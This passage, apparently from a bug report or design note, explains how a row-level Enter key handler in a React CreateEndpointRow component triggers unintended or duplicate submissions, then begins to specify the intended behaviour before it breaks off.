handles keydown for every descendant. With focus on "Cancel" (`:244-246`), Enter runs `submit()` (keydown bubbles first) and then the button's click runs `onCancel`: an endpoint is created and the row closes. With focus on "Create" (`:241-243`) Enter runs `submit()` twice: one from keydown, one from the click the browser synthesises; the second POST fails as a duplicate and the error is shown over a successful create. Method and mode toggles (`:181-193`, `:225-238`) and the "Accept approximation" button in the model flow behave the same. The existing test `submits on Enter from an input` (`CreateEndpointRow.test.tsx:276`) covers the intended path only. + +**Designed behaviour.** + +- The row-level handler **must** submit on Enter only when `event.target` is an `HTMLInputElement` (and, if a `